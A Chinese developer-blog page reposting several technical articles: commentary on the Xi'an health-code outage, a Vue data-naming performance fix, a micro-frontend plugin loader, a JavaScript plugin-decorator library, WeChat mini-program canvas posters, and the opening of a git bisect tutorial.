有人表示:一些大公司确实不尊重开源项目的版权,滥用开源项目对于 FOSS 开发者来说是绝对不公平的。但 Marak 对 faker.js 的做法并不可取,不是正面例子,存在 Marak 的个人负面原因。

对此,你有什么看法?

作者:机器之心Pro

来源:https://www.163.com/dy/article/GTC8PE5M0511AQHO.html

收起阅读 »

崩溃的一天,西安一码通崩溃背后的技术问题

12月20号,算得上西安崩溃的一天。西安防疫压力巨大,各单位公司要求,需48小时核酸检测报告上班。足足瘫痪超过 15 个多小时!到了下午,新闻甚至提示:这是解决问题的方法吗?今天,我们就试着分析一下这个业务、以及对应的技术问题。西安一码通其它业务我们暂且不分析...
继续阅读 »

1.崩溃的一天

12月20号,算得上西安崩溃的一天。

12月19号新增病例21个,20号新增病例42个,并且有部分病例已经在社区内传播.

西安防疫压力巨大,各单位公司要求,需48小时核酸检测报告上班。

在这样严峻的情况下,作为防控最核心的系统:西安一码通竟然崩溃了,并且崩溃得是那么的彻底。

足足瘫痪超过 15 个多小时!

整整一天的时间呀,多少上班族被堵在地铁口,多少旅客被冻在半路上,进退不能...

到了下午,新闻甚至提示:

为了减轻系统压力,建议广大市民非必要不展码、亮码,在出现系统卡顿时,请耐心等待,尽量避免反复刷新,也感谢广大市民朋友们的理解配合。

这是解决问题的方法吗?

如果真的需要限流来防止系统崩溃,用技术手段来限流是不是会更简单一些,甚至前面加一个 nginx 就能解决的问题。

今天,我们就试着分析一下这个业务、以及对应的技术问题。

2.产品分析

西安一码通其它业务我们暂且不分析,那并不是重点,并且当天也没有完全崩溃,崩溃的仅有扫码功能。

其实这是一个非常典型的大量查询、少数更新的业务,闭着眼睛分析一下,可以说, 90% 以上的流量都是查询。

我们先来看看第一版的产品形态,扫码之后展示个人部分姓名和身份政信息,同时下面展示绿、黄、红码。

这是西安一码通最开始的样子,业务流程仅仅只需要一个请求,甚至一个查询的 SQL 就可以搞定。

到了后来,这个界面做了2次比较大的改版。

第一次改版新增了疫苗接种信息,加了一个边框;第二次改版新增了核酸检测信息,在最下方展示核酸检测时间、结果。

整个页面增加了2个查询业务,如果系统背后使用的是关系数据库,可能会多增加至少2个查询SQL。

基本上就是这样的一个需求,据统计西安有1300万人口,按照最大10%的市民同时扫码(我怀疑不会有这么多),也就是百万的并发量。

这样一个并发量的业务,在互联网公司很常见,甚至比这个复杂的场景也多了去了。

那怎么就崩了呢?

3.技术分析

在当天晚上的官方回复中,我们看到有这样一句话:

12月20日早7:40分左右,西安“一码通”用户访问量激增,每秒访问量达到以往峰值的10倍以上,造成网络拥塞,致使包括“一码通”在内的部分应用系统无法正常使用。“

一码通”后台监控第一时间报警,各24小时驻场通信、网络、政务云、安全和运维团队立即开展排查,平台应用系统和数据库运行正常,判断问题出现在网络接口侧。

根据上面的信息,数据库和平台系统都正常,是网络出现了问题。

我之前在文章《一次dns缓存引发的惨案》画过一张访问示意图,用这个图来和大家分析一下,网络出现问题的情况。

一般用户的请求,会先从域名开始,经过DNS服务器解析后拿到外网IP地址,经过外网IP访问防火墙和负载之后打到服务器,最后服务器响应后将结果返回到浏览器。

如果真的是网络出现问题,一般最常见的问题就是 DNS 解析错误,或者外网的宽带被打满了。

DNS解析错误一定不是本次的问题,不然可能不只是这一个功能出错了;外网的宽带被打满,直接增加带宽就行,不至于一天都没搞定。

如果真的是网络侧出现问题,一般也不需要改动业务,但实际上系统恢复的时候,大家都发现界面回到文章开头提到了第一个版本了。

也就是说系统“回滚”了。

界面少了接种信息和核酸检测信息的内容,并且在一码通的首页位置,新增加了一个核酸查询的页面。

所以,仅仅是网络接口侧出现问题吗?我这里有一点点的疑问。

4.个人分析

根据我以往的经验,这是一个很典型的系统过载现象,也就是说短期内请求量超过服务器响应。

说人话就是,外部请求量超过了系统的最大处理能力。

当然了,系统最大处理能力和系统架构息息相关,同样的服务器不同的架构,系统负载量差异极大。

应对这样的问题,解决起来无非有两个方案,一个是限流,另外一个就是扩容了。

限流就是把用户挡在外面,先处理能处理的请求;扩容就是加服务器、增加数据库承载能力。

上面提到官方让大家没事别刷一码通,也算是人工限流的一种方式;不过在技术体系上基本上不会这样做。

技术上的限流方案有很多,但最简单的就是前面挂一个 Nginx 配置一下就能用;复杂一点就是接入层自己写算法。

当然了限流不能真正的解决问题,只是负责把一部分请求挡在外面;真正解决问题还是需要扩容,满足所有用户。

但实际上,根据解决问题的处理和产品回滚的情况来看,一码通并没有第一时间做扩容,而是选择了回滚。

这说明,在系统架构设计上,没有充分考虑扩容的情况,所以并不能支持第一时间选择这个方案。

5.理想的方案?

上面说那么多也仅仅是个人推测,实际上可能他们会面临更多现实问题,比如工期紧张、老板控制预算等等...

话说回来,如果你是负责一码通公司的架构师,你会怎么设计整个技术方案呢?欢迎大家留言,这里说说我的想法。

第一步,读写分离、缓存。

至少把系统分为2大块,满足日常使用的读业务单独抽取出来,用于承接外部的最大流量。

单独抽出一个子系统负责业务的更新,比如接种信息的更新、核酸信息的变化、或者根据业务定时变更码的颜色。

同时针对用户大量的单查询,上缓存系统,优先读取缓存系统的信息,防止压垮后面的数据库。

第二步,分库分表、服务拆分。

其实用户和用户之间的单个查询是没有关系的,完全可以根据用户的属性做分库分表。

比如就用用户ID取模分64个表,甚至可以分成64个子系统来查询,在接口最前端将流量分发掉,减轻单个表或者服务压力。

上面分析没有及时扩容,可能就是没有做服务拆分,如果都是单个的业务子服务的话,遇到过载的问题很容易做扩容。

当然,如果条件合适的话,上微服务架构就更好了,有一套解决方案来处理类似的问题。

第三步,大数据系统、容灾。

如果在一个页面中展示很多信息,还有一个技术方案,就是通过异步的数据清洗,整合到 nosql 的一张大表中。

用户扫描查询等相关业务,直接走 nosql 数据库即可。

这样处理的好处是,哪怕更新业务完全挂了,也不会影响用户扫码查询,因为两套系统、数据库都是完全分开的。

使用异地双机房等形式部署服务,同时做好整体的容灾、备灾方案,避免出现极端情况,比如机房光缆挖断等。

还有很多细节上的优化,这里就不一一说明了,这里也只是我的一些想法,欢迎大家留言补充。

6.最后

不管怎么分析,这肯定是人祸而不是天灾。

系统在没有经过严格测试之下,就直接投入到生产,在强度稍微大一点的环境中就崩溃了。

比西安大的城市很多,比西安现在疫情还要严重的情况,其它城市也遇到过,怎么没有出现类似的问题?

西安做为一个科技大省,出现这样的问题真的不应该,特别是我看了这个小程序背后使用的域名地址之后。

有一种无力吐槽的感觉,虽然说这和程序使用没有关系,但是从细节真的可以看出一个技术团队的实力。

希望这次能够吸取教训,避免再次出现类似的问题!

作者:纯洁的微笑
出处:https://www.cnblogs.com/ityouknow/p/15719395.html

收起阅读 »

一个命名引发的性能问题

故事背景我最近主要在定位、解决当前项目中的一些性能相关问题。在反馈的问题中,比较严重的问题之一是在户型预览编辑过程,电脑的 CPU 占用率高,及时什么都不做的情况下,CPU 占用也非常的高。同样的,利用 Chrome 提供的 Performance 录制 ⏺ ...
继续阅读 »



故事背景

我最近主要在定位、解决当前项目中的一些性能相关问题。

在反馈的问题中,比较严重的问题之一是在户型预览编辑过程,电脑的 CPU 占用率高,及时什么都不做的情况下,CPU 占用也非常的高。

同样的,利用 Chrome 提供的 Performance 录制 ⏺ 了无任何操作的 JavaScript 调用火焰图,发现 Pixi 内部会利用浏览器的requestAnimationFrame接口,执行自身的 render 方法进行 2D 场景的绘制渲染。

CPU占用率居高不下

发现问题

初步定位,CPU 占用只可能与 2D 场景中 PIXI 的 render() 有关系,使用 Performance 分析事件调用过程中发现,每次在调用需要使用 9ms 的时间

每次Render使用9ms

这个时间是否属于正常的时间范畴呢?

在了解了 PIXI 及绝大部分图形框架后得知,图形框架内部在调用 Render 的过程中其实正常的不会任何过多的计算内容,所有使用到的需要计算生成 Graphics 的地方,都只会生成一遍。

在之后的调用过程中,都会拿到之前生成好的 Buffer 直接进入 Renderer 进行下一帧的渲染,render() 大部分情况下都是在执行脏检查,有任意 Graphics 需要更新时,Graphicsdirty就会被更新,然后重新生成渲染 Buffer

所以,了解了render()方法的作用后,可以确定在静止不动时render()只是执行一些递归判断,不会耗费9ms这么长的时间,这其中定有蹊跷!

在查看到最终调用到的方法部分发现,在 PIXI 内部的render()方法中竟然会调用到 vue 的方法。

这样不正常的方法调用让我立刻想起来 vue 中,对data()返回的对象数据做原型链的改写。以及之前看到过的一篇文章:《一个 Vue 引发的性能问题》

之前在看到这篇文章时,只是觉得是一个非常有意思的案例,虽然结局办法并不见得是最优方法。但发现问题的过程非常有价值,原本打算拿到组里来进行分享。没想到报应不爽,这么快就发现我们的项目也存着这一个这样的问题,且影响程度远远大于这篇文章!

所以立马去检查了,2D 与 3D 场景实例化过程中对场景的定义,发现一个并没有对命名做_$的规范处理,这样会导致 scene2D 中的所有对象,都将会被 vue 处理为 vue 的可观察对象,也就是会在原型链中带入 getter/setter。

export default {
 data() {
   return {
     scene2d: null
  };
},
 created() {
   this.initScene2D();
},
 methods: {
   initScene2D() {
     this.scene2d = Scene2D.getInstance();
  }
}
};

解决办法

查看到 vue 的官方文档解释:

vue官方解释

所以,为了解决这个问题,需要对data()中不希望 vue 挂载原型链实现数据响应的对象做好命名规范处理。

export default {
 data() {
   return {
     $_scene2d: null
  };
},
 created() {
   this.initScene2D();
},
 methods: {
   initScene2D() {
     this.$_scene2d = Scene2D.getInstance();
  }
}
};

对,就这么简单!

在修改了Scene2D在 Vue 组件的命名后,从整体体验感受来讲“轻快”了许多,再次查看 CPU 及内存占用率都降了许多,render()时间的调用降低到0.94ms,对比如图:

Before

After

作者:Yee Wang
来源:https://yeee.wang/posts/42c7.html

收起阅读 »

如何接"地气"的接入微前端

前言微前端,这个概念已经在国内不止一次的登上各大热门话题,它所解决的问题也很明显,这几个微前端所提到的痛点在我们团队所维护的项目中也是非常凸显。但我始终认为,一个新的技术、浪潮,每每被讨论最热门的一定是他背后所代表的杰出思考。“微前端就是…xx 框架,xx 技...
继续阅读 »



前言

微前端,这个概念已经在国内不止一次的登上各大热门话题,它所解决的问题也很明显,这几个微前端所提到的痛点在我们团队所维护的项目中也是非常凸显。

但我始终认为,一个新的技术、浪潮,每每被讨论最热门的一定是他背后所代表的杰出思考。

“微前端就是…xx 框架,xx 技术”

这种话就有点把这种杰出的思路说的局限了,我只能认为他是外行人,来蹭这个词的热度。

在我所负责的项目和团队中,已经有非常大的存量技术栈和页面已经在线上运行,任何迭代升级都必须要保证小心翼翼,万无一失。

可以说,从一定程度来讲,微前端所带来的这些好处是从用户体验和技术维护方面的,对业务的价值并不能量化体现,落地这项技术秉着既要也要还要的指导方针。

我们对存量技术栈一定需要保持敬畏,隔离,影响范围可控的几个基本要素,然后再考虑落地实施微前端方案。

所以,在这个基本要素和指导方针下。要落地这项新的技术时,一定充分充分了解,当前改造站点所存在的技术方案、占比 以及 当前成熟微前端框架已提供的能力差异,切勿生搬硬套。

背景

我所在团队维护的项目都是些 PC 操作后台(Workstation),这些工作台会存在不同的国家,不同时区,不同合作方等等问题。

如果需要开发一个新的页面需求,很可能投入进来的开发人员都来自不同团队,此时我们要在完成现有需求的同时还需要保证多个管理页面的风格统一,设计规范统一,组件统一,交互行为统一这非常困难。

当该业务需要迁移到另外一个工作台时,虽然需要保持逻辑一致,但导航栏、主题等却不同。

当前存量的方案都是采用 Java 直接进行 Template 渲染出 HTML,经过前面几代前辈的迭代,不同系统中已经存在几种不同技术栈产出的页面。

虽然都是 React 来实现的,但是前辈们都非常能折腾,没有一个是按照常规 React 组件形式开发出来的。

比如:

  1. 大部分页面是通过一份 JSON 配置,消费组件生成的页面。

  2. 部分页面是通过另外一个团队定义的 JSON 配置消费组件生成的,与上面 JSON 完全不一样。

  3. 还有一部分页面,是通过一套页面发布平台提供的 JS Bundle 加载出来的。

面对这样的技术背景下,除了微笑的喊 MMP,含泪说着自己听不懂的话(存在即合理,不难要你干吗?),还得接地气出这样一个落地方案。

方案 & 流程图

首先,需要明确的分析出站点所有页面,所需要加载的通用特性:

上述是精简过后的一些通用功能特性,这里简单做下介绍:

  • Layout Loader 用于加载不同工作台的导航

  • DADA Loader 用于加载 JSON 配置的页面

  • Source Code Loader 用于加载 JS Bundle

  • Micro Loader 用于处理微前端加载

  • Log Report 用于日志埋点

  • Time Zone 用于切换时区

  • i18n 用于切换多语言

  • Guider 用于统一管控用户引导

除此以外可能还会存在以下这些页面扩展能力:

  • 安全监控

  • 流量管控

  • 弹窗管控

  • 问卷调查

  • 答疑机器人

粗略统一归类后来看,页面的大体加载流程应该是这样:

实现细则

基于上述一个加载思路,首先需要做的是页面加载路径收口,需要保证所有页面的加载入口是在一个统一的 Loader 下,然后才可以较为系统的处理所有页面的加载生命周期。

在收敛的同时,同样需要保持开放,对核心加载路径要保持插件化开放,随时支持不同的扩展能力,渲染技术栈接入。

插件机制

所以,在主路径上,通过 Loader 加载配置进行处理,这份配置在主路径中提供上下文,然后交由插件进行消费,如图所示:

举个例子,拿一个独立的 JS Bundle 类型的子应用来说:

<div id="root"></div>
<script src="https://cdn.address/schema-resolver/index.js"></script>
<script src="https://cdn.address/schema-resolver/plugin/layout.js"></script>
<script src="https://cdn.address/schema-resolver/plugin/source-code.js"></script>
<script src="https://cdn.address/schema-resolver/plugin/micro-loader.js"></script>
<script src="https://cdn.address/schema-resolver/plugin/i18n.js"></script>

<script>
 SchemaResolver.render(
  {
     micro: true,
     host: "dev.address",
     hfType: "layout1",
     externals: ["//{HOST}/theme1/index.css"],
     // host is cdn prefix, the resource maybe in different env & country
     resource: {
       js: "/index.js",
       css: "/index.css",
    },
  },
  { container: document.querySelector("#root") }
);
</script>

通过上述的 Plugin 引入,即可开启和消费不同的配置。

这里引入了 Layout Plugin,该插件会消费 hfType 字段然后去加载对于的 Layout 资源提供 Container 交给下一个环节。

按照配置,当前页面开启了微前端,那么 Micro Loader 将会消费提供下来的 Container,然后建立沙箱(这里基于 qiankun),再提供 Container 出来。

最后交由 SourceCode Plugin 进行 Bundle 加载运行和渲染。如果这里是另外一种渲染协议或者技术栈,则可以根据不同配置交由不同插件消费 Container。

这个过程中,每个环节的插件是不依赖的,可插拔的

比如:

如果不加载 Layout Plugin 将不会消费 hfType 字段,也就不会将Layout插件逻辑注入到getContainer方法中,那么将直接得到由最外层下穿的Container进行渲染,也就不会有菜单相关透出。

如果不加载 Micro Plugin 同样不会有微前端的逻辑注入,也就不会建立沙箱,那么页面渲染流程将会按照常规模式继续运行。

当前SchemaResolver已经支持的插件有以下几种,详情参考 SchemaResolver

  • MicroLoader – Base on qiankun using this plug-in can make your content loaded through a micro application so that your content can use all the features of the Micro-Front-End.

  • DadaLoader – Use this plugin can make your app render content by Dada.

  • SourceCodeLoader – Use this plugin can load your js\css bundle to render content, our bundle standard is same as qiankun. You can quick start developing your own page through our toolkit lzd-toolkit-asc.

  • LayoutLoader – Use this plugin can make your page load layout(menu), you can use different hfType configuration to switch different layouts.

  • i18n – Use this plugin can make your page have multi-lang. schema.locale will be the mapping of multilingual keys in MCMS. The plugin will inject and register the language automatically.

  • APlus – Use this plugin can make your page have the feature of APlus .Statistics page interaction events, such as pv\uv. With DadaLoader you can even see every module data(click pv, exposed pv) in pages.

  • WalkThrough – Use this plugin can make your page have the feature of Walk Through. One-stop page features guide.

SchemaResolver的插件能力采用plugin-decorator,如要了解更多插件设计思路可以参考:为你的JavaScript库提供插件能力

SchemaResolver plugin feature is base on plugin-decorator. It’s very easy to develop a new plugin.

More information about plugin can read this article Provide plugin capabilities for your JavaScript library

安全迁移

对于我所在团队负责的项目来说,万万做不得一刀切的方案,所以针对现有存量页面,需要完整分析当前存量技术栈:

针对上述存量页面来说,需要从左到右分批进行页面级别控制上线部署,对于左侧部分页面甚至需要做些项目改造后才可部署接入上线。

这类迁移测试需要处理出一套 自动化e2e测试 流程,通过分批迁移同时梳理出 微前端注册表

有了这两项流程保证及范围控制,当前方案所上线内容完全可控,剩下要处理的大部分就是较为重复的体力活了,覆盖率也可量化。

微前端形态

按照上述方案迁移,那么预期的微前端形态将会是:

  1. 每个开启微前端的页面都可成为主应用

  2. 微前端是插件可选项,如果因为微前端导致的业务异常可随时关闭

  3. 同为微前端的页面路由相互之间切换可实现局部刷新形态,而跳转至非微前端注册表中的页面则会直接页面跳转。随着微前端页面覆盖率提高,局部刷新的覆盖率也会逐渐提高

  4. 可通过不同扩展插件,加载不同技术栈类型的存量页面,转换为对应子应用

在SchemaResolver中的注册和调用路径如下:

总结

透过技术看本质,微前端所代表的杰出思维,才是真正解决具体问题关键所在,只有解决了具体的业务问题,这项技术才有价值转换。

不要为了微前端做微前端,不要为了小程序做小程序。

当前,通过 SchemaResolver,可以针对不同角色提供不同的开放能力:

  • 针对平台管理员,提供插件能力开放全局扩展能力

  • 针对页面开发者,提供标准化接入方案路径,提供多种技术栈接入能力,并无感知提供微前端,多语言,埋点,菜单,主题加载等能力。解耦了不同系统公共能力,同时,这种方式可以让页面开发者快速将具体业务逻辑迁移到其他平台。

  • 针对第三方接入者,不需要关心了解系统菜单、主题接入方式,提供统一的接入口径,通过微前端隔离技术栈、隔离子应用样式。最后通过统一的页面系统管控,轻松入住对应平台,同时可以全局看到站点页面情况。

作者:Yee Wang
来源:https://yeee.wang/posts/3469.html

收起阅读 »

为你的JavaScript库提供插件能力

前言最近在做一个中台框架的设计开发,在做了主框架的基础能力后,思考在框架落实真实业务需求过程中,需要对主框架功能有非常多的定制化内容存在。如果在主体框架中做了哪怕一点业务改动,都可能会对后面的拓展性及灵活性有所限制。所以为了让主体框架做的更加灵活、扩展性更搞,...
继续阅读 »



前言

最近在做一个中台框架的设计开发,在做了主框架的基础能力后,思考在框架落实真实业务需求过程中,需要对主框架功能有非常多的定制化内容存在。如果在主体框架中做了哪怕一点业务改动,都可能会对后面的拓展性及灵活性有所限制。

所以为了让主体框架做的更加灵活、扩展性更搞,在主框架有了基础能力后,就不再对主框架做任何非主框架能力的业务功能开发。

要为主框架不断的”开槽”

其实在很多前端库中都有类似的设计,才能够让更多的开发者参与进来,完成各种各样的社区驱动开发。比如:WebpackBabelHexoVuePress等。

那么如何为自己的项目开槽,做插件呢?

调研

在了解了很多插件的项目源码后,发现实现大多大同小异,主要分为以下几个步骤:

  1. 为框架开发安装插件能力,插件容器

  2. 暴露主要生命运行周期节点方法(开槽)

  3. 编写注入业务插件代码

这些框架都是在自己实现一套这样的插件工具,几乎和业务强相关,不好拆离。或者做了一个改写方法的工具类。总体比较离散,不好直接拿来即用。

另外在实现方式上,大部分的插件实现是直接改写某方法,为他在运行时多加一个Wrap,来依次运行外部插件的逻辑代码。

// main.js
const main = {
 loadData:()=>{},
 render:()=>{}
}

// plugin1.js
const plugin1 = {
 render:()=>{}
}

// install.js
const install = (main, plugin) => {
 main.render = ()=>{
   plugin1.render()
   main.render()
}
}

在上述代码中的插件有几个明显的问题:

  • plugin1 无法控制 render() 的顺序

  • main 中无法得知什么函数可能会被插件改写,什么函数不会被插件改写

  • 如果按照模块文件拆分,团队成员中根本不知道 main.js 中的函数修改会存在风险,因为压根看不到 install.js 中的代码

那么后来,为了解决这些问题,可能会变成这样:

const component = {
 hooks:{
   componentWillMounted(){},
   componentDidMounted(){}
},
 mounte(){
   this.hooks.componentWillMounted();
   //... main code
   this.hooks.componentDidMounted();
}
}

const plugin = {
 componentWillMounted(){
   //...
},
 componentDidMounted(){
   //...
}
}

// install.js
const install = (main, plugin) => {
 // 忽略实现细节。
 main.hooks.componentWillMounted = ()=>{
   plugin1.componentWillMounted()
   main.hook.componentWillMounted()
}
 main.hooks.componentDidMounted = ()=>{
   plugin1.componentDidMounted()
   main.hook.componentDidMounted()
}
}

另外,还有一种解法,会给插件中给 next 方法,如下:

// main.js
const main = {
 loadData:()=>{},
 render:()=>{}
}

// plugin1.js
const plugin1 = {
 render:next=>{
   // run some thing before
   next();
   // run some thing after
}
}

// install.js
const install = (main, plugin) => {
 main.render = ()=>{
   plugin1.render(main.render)
}
}

如上,从调研结构来看,虽然都实现了对应功能,但是从实现过程来看,有几个比较明显的问题:

  • 对原函数侵入性修改过多

  • 对方法rewrite操作过多,太hack

  • 对TypeScript不友好

  • 多成员协作不友好

  • 对原函数操作不够灵活,不能修改原函数的入参出参

开搞

在调研了很多框架的实现方案的后,我希望以后我自己的插件库可以使用一个装饰器完成开槽,在插件类中通过一个装饰器完成注入,可以像这样使用和开发:

import { Hook, Inject, PluginTarget, Plugin } from 'plugin-decorator';

class DemoTarget extends PluginTarget {
 @Hook
 public method1() {
   console.log('origin method');
}
}

class DemoPlugin extends Plugin {
 @Inject
 public method1(next) {
   next();
   console.log('plugin method');
}
}

const demoTarget = new DemoTarget();
demoTarget.install(new DemoPlugin());
demoTarget.method1();

// => origin method
// => plugin method

Decorator

并且可以支持对原函数的入参出参做装饰修改,如下:

import { Hook, Inject, PluginTarget, Plugin } from 'plugin-decorator';

class DemoTarget extends PluginTarget {
 @Hook
 public method1(name:string) {
   return `origin method ${name}`;
}
}

class DemoPlugin extends Plugin {
 @Inject
 public method1(next, name) {
   return `plugin ${next(name)}`;
}
}

const demoTarget = new DemoTarget();
demoTarget.install(new DemoPlugin());

console.log(demoTarget.method1('cool'));

// => plugin origin method cool

Promise

当然,如果原函数是一个Promise的函数,那插件也应该支持Promise了!如下:

import { Hook, Inject, PluginTarget, Plugin } from 'plugin-decorator';

class DemoTarget extends PluginTarget {
 @Hook
 public methodPromise() {
   return new Promise(resolve => {
     setTimeout(() => resolve('origin method'), 1000);
  });
}
}

class DemoPlugin extends Plugin {
 @Inject
 public async methodPromise(next) {
   return `plugin ${await next()}`;
}
}

const demoTarget = new DemoTarget();
demoTarget.install(new DemoPlugin());

demoTarget.methodPromise().then(console.log);

// => Promise<plugin origin method>

Duang!

最终,我完成了这个库的开发:plugin-decorator

GitHub: 地址

没错,我就知道你会点Star,毕竟你这么帅气、高大、威猛、酷炫、大佬!

总结

在该项目中,另外值得提的一点是,该项目是我在开发自己的一套中台框架中临时抽出来的一个工具库。

在工具库中采用了:

  • TypeScript

  • Ava Unit Test

  • Nyc

  • Typedoc

整体开发过程是先写测试用例,然后再按照测试用例进行开发,也就是传说中的 TDD(Test Drive Development)。

感觉这种方式,至少在我做库的抽离过程中,非常棒,整体开发流程非常高效,目的清晰。

在库的编译搭建中使用了 typescript-starter 这个库,为我节省了不少搭建项目的时间!

作者:Yee Wang
来源:https://yeee.wang/posts/dfa4.html

收起阅读 »

轻松生成小程序分享海报

小程序海报组件github.com/jasondu/wxa…需求小程序分享到朋友圈只能使用小程序码海报来实现,生成小程序码的方式有两种,一种是使用后端方式,一种是使用小程序自带的canvas生成;后端的方式开发难度大,由于生成图片耗用内存比较大对服务端也是不小...
继续阅读 »



小程序海报组件

github.com/jasondu/wxa…

需求

小程序分享到朋友圈只能使用小程序码海报来实现,生成小程序码的方式有两种,一种是使用后端方式,一种是使用小程序自带的canvas生成;后端的方式开发难度大,由于生成图片耗用内存比较大对服务端也是不小的压力;所以使用小程序的canvas是一个不错的选择,但由于canvas水比较深,坑比较多,还有不同海报需要重现写渲染流程,导致代码冗余难以维护,加上不同设备版本的情况不一样,因此小程序海报生成组件的需求十分迫切。

在实际开发中,我发现海报中的元素无非一下几种,只要实现这几种,就可以通过一份配置文件生成各种各样的海报了。

海报中的元素分类

要解决的问题

  • 单位问题

  • canvas隐藏问题

  • 圆角矩形、圆角图片

  • 多段文字

  • 超长文字和多行文字缩略问题

  • 矩形包含文字

  • 多个元素间的层级问题

  • 图片尺寸和渲染尺寸不一致问题

  • canvas转图片

  • IOS 6.6.7 clip问题

  • 关于获取canvas实例

单位问题

canvas绘制使用的是px单位,但不同设备的px是需要换算的,所以在组件中统一使用rpx单位,这里就涉及到单位怎么换算问题。

通过wx.getSystemInfoSync获取设备屏幕尺寸,从而得到比例,进而做转换,代码如下:

const sysInfo = wx.getSystemInfoSync();
const screenWidth = sysInfo.screenWidth;
this.factor = screenWidth / 750; // 获取比例
function toPx(rpx) { // rpx转px
return rpx * this.factor;
}
function toRpx(px) { // px转rpx
return px / this.factor;
},

canvas隐藏问题

在绘制海报过程时,我们不想让用户看到canvas,所以我们必须把canvas隐藏起来,一开始想到的是使用display:none; 但这样在转化成图片时会空白,所以这个是行不通的,所以只能控制canvas的绝对定位,将其移出可视界面,代码如下:

.canvas.pro {
  position: absolute;
  bottom: 0;
  left: -9999rpx;
}

圆角矩形、圆角图片

由于canvas没有提供现成的圆角api,所以我们只能手工画啦,实际上圆角矩形就是由4条线(黄色)和4个圆弧(红色)组成的,如下:

圆弧可以使用canvasContext.arcTo这个api实现,这个api的入参由两个控制点一个半径组成,对应上图的示例

canvasContext.arcTo(x1, y1, x2, y2, r)

接下来我们就可以非常轻松的写出生成圆角矩形的函数啦

/**
* 画圆角矩形
*/
_drawRadiusRect(x, y, w, h, r) {
  const br = r / 2;
  this.ctx.beginPath();
  this.ctx.moveTo(this.toPx(x + br), this.toPx(y));   // 移动到左上角的点
  this.ctx.lineTo(this.toPx(x + w - br), this.toPx(y)); // 画上边的线
  this.ctx.arcTo(this.toPx(x + w), this.toPx(y), this.toPx(x + w), this.toPx(y + br), this.toPx(br)); // 画右上角的弧
  this.ctx.lineTo(this.toPx(x + w), this.toPx(y + h - br)); // 画右边的线
  this.ctx.arcTo(this.toPx(x + w), this.toPx(y + h), this.toPx(x + w - br), this.toPx(y + h), this.toPx(br)); // 画右下角的弧
  this.ctx.lineTo(this.toPx(x + br), this.toPx(y + h)); // 画下边的线
  this.ctx.arcTo(this.toPx(x), this.toPx(y + h), this.toPx(x), this.toPx(y + h - br), this.toPx(br)); // 画左下角的弧
  this.ctx.lineTo(this.toPx(x), this.toPx(y + br)); // 画左边的线
  this.ctx.arcTo(this.toPx(x), this.toPx(y), this.toPx(x + br), this.toPx(y), this.toPx(br)); // 画左上角的弧
}

如果是画线框就使用this.ctx.stroke();

如果是画色块就使用this.ctx.fill();

如果是圆角图片就使用

this.ctx.clip();
this.ctx.drawImage(***);

clip() 方法从原始画布中剪切任意形状和尺寸。一旦剪切了某个区域,则所有之后的绘图都会被限制在被剪切的区域内(不能访问画布上的其他区域)。可以在使用 clip() 方法前通过使用 save() 方法对当前画布区域进行保存,并在以后的任意时间对其进行恢复(通过 restore() 方法)。

多段文字

如果是连续多段不同格式的文字,如果让用户每段文字都指定坐标是不现实的,因为上一段文字的长度是不固定的,这里的解决方案是使用ctx.measureText (基础库 1.9.90 开始支持)Api来计算一段文字的宽度,记住这里返回宽度的单位是px(),从而知道下一段文字的坐标。

超长文字和多行文字缩略问题

设置文字的宽度,通过ctx.measureText知道文字的宽度,如果超出设定的宽度,超出部分使用“...”代替;对于多行文字,经测试发现字体的高度大约等于字体大小,并提供lineHeight参数让用户可以自定义行高,这样我们就可以知道下一行的y轴坐标了。

矩形包含文字

这个同样使用ctx.measureText接口,从而控制矩形的宽度,当然这里用户还可以设置paddingLeft和paddingRight字段;

文字的垂直居中问题可以设置文字的基线对齐方式为middle(this.ctx.setTextBaseline('middle');),设置文字的坐标为矩形的中线就可以了;水平居中this.ctx.setTextAlign('center');;

多个元素间的层级问题

由于canvas没有Api可以设置绘制元素的层级,只能是根据后绘制层级高于前面绘制的方式,所以需要用户传入zIndex字段,利用数组排序(Array.prototype.sort)后再根据顺序绘制。

图片尺寸和渲染尺寸不一致问题

绘制图片我们使用ctx.drawImage()API;

如果使用drawImage(dx, dy, dWidth, dHeight),图片会压缩尺寸以适应绘制的尺寸,图片会变形,如下图:

在基础库1.9.0起支持drawImage(sx, sy, sWidth, sHeight, dx, dy, dWidth, dHeight),sx和sy是源图像的矩形选择框左上角的坐标,sWidth和sHeight是源图像的矩形选择框的宽度和高度,如下图:

如果绘制尺寸比源图尺寸宽,那么绘制尺寸的宽度就等于源图宽度;反之,绘制尺寸比源图尺寸高,那么绘制尺寸的高度等于源图高度;

我们可以通过wx.getImageInfoApi获取源图的尺寸;

canvas转图片

在canvas绘制完成后调用wx.canvasToTempFilePathApi将canvas转为图片输出,这样需要注意,wx.canvasToTempFilePath需要写在this.ctx.draw的回调中,并且在组件中使用这个接口需要在第二个入参传入this(),如下

this.ctx.draw(false, () => {
  wx.canvasToTempFilePath({
      canvasId: 'canvasid',
      success: (res) => {
          wx.hideLoading();
          this.triggerEvent('success', res.tempFilePath);
      },
      fail: (err) => {
          wx.hideLoading();
          this.triggerEvent('fail', err);
      }
  }, this);
});

IOS 6.6.7 clip问题

在IOS 6.6.7版本中clip方法连续裁剪图片时,只有第一张有效,这是微信的bug,官方也证实了(developers.weixin.qq.com/community/d…

关于获取canvas实例

我们可以使用wx.createCanvasContext获取小程序实例,但在组件中使用切记第二个参数需要带上this,如下

this.ctx = wx.createCanvasContext('canvasid', this);

如何使用组件

github.com/jasondu/wxa…

作者:jasondu41833
来源:https://juejin.cn/post/6844903663840788493

收起阅读 »

利用好 git bisect 这把利器,帮助你快速定位疑难 bug

Git
使用git bisect二分法定位问题的基本步骤:git bisect start [最近的出错的commitid] [较远的正确的commitid]测试相应的功能git bisect good 标记正确直到出现问题则 标记错误 git bisect bad提...
继续阅读 »

使用git bisect二分法定位问题的基本步骤:

  1. git bisect start [最近的出错的commitid] [较远的正确的commitid]

  2. 测试相应的功能

  3. git bisect good 标记正确

  4. 直到出现问题则 标记错误 git bisect bad

  5. 提示的commitid就是导致问题的那次提交

问题描述

我们以Vue DevUI组件库的一个bug举例子🌰

5d14c34b这一次commit,执行yarn build报错,报错信息如下:

✓ building client + server bundles...
✖ rendering pages...
build error:
ReferenceError: document is not defined

我可以确定的是上一次发版本(d577ce4)是可以build成功的。

git bisect 简介

git bisect命令使用二分搜索算法来查找提交历史中的哪一次提交引入了错误。它几乎能让你闭着眼睛快速定位任何源码导致的问题,非常实用。

